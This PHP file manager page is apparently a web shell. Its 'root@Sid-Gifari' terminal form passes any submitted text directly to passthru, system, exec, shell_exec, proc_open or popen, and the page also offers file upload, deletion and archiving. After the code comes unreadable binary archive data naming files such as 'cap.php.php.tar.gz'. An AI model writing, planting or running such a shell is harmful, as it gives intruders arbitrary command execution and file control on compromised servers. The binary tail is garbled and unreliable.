		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     j\*0E0      Renderer.zipnu [        PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
